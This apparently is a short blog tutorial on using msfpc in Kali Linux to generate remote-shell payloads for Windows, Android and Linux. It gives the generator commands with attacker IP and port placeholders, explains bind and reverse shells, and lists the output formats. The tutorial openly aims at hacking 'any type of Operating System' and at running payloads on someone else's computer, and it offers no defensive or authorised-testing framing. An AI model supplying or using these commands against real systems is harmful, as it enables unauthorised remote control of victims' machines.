BASICS
If you have Kali Linux, you might have heard about Payloads and shellcodes. there is not much difference between payloads and shellcodes.
But in all ways, the payloads are more efficient than shellcodes. In this tutorial, we will create payloads that will help us to hack any type of Operating System.
by the way, you cant hack the Windows or Linux with an android payload. because it will be an .APK file that can’t be run in Windows or Linux. but you can install blue stacks or any other android enumerator to run it.
PAYLOADS
I am using Kali Linux here. msfpc comes pre-installed in Kali Linux. yeah, we will use msfpc for making payloads.
type this command to see the help menu of msfpc:
msfpc
well, it is the format of msfpc command:
msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>)(<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
Windows Payload:
type this command to generate a payload for Windows:
msfpc windows <local-ip> <port>
this command will create a windows payload. replace the local-IP with your local-IP. and you can choose the port value like 1234,4444, etc.
Android Payload:
msfpc APK <local-ip> <port> cmd
you can choose msf over cmd to work with Metasploit.
Linux Payload:
basically, I will create a .sh
file to generate a payload but it depends on you. you can choose a python, Perl, java, elf, and others even .exe.
msfpc bash <local-ip> <port> cmd bind
it will create a bash(.sh) file. if we run a bind payload into someone’s computer, it will open a port immediately into that computer and after it, anyone can easily connect to it later with the help of netcat.
but if you want it simple. like, if you want to use listener on your pc and want to run the payload into someone’s else pc then you can choose reverse over bind.
you can generate more payload with the help of this menu:
<TYPE>:
+ APK
+ ASP
+ ASPX
+ Bash [.sh]
+ Java [.jsp]
+ Linux [.elf]
+ OSX [.macho]
+ Perl [.pl]
+ PHP
+ Powershell [.ps1]
+ Python [.py]
+ Tomcat [.war]
+ Windows [.exe // .exe // .dll]
Thanks For Visiting.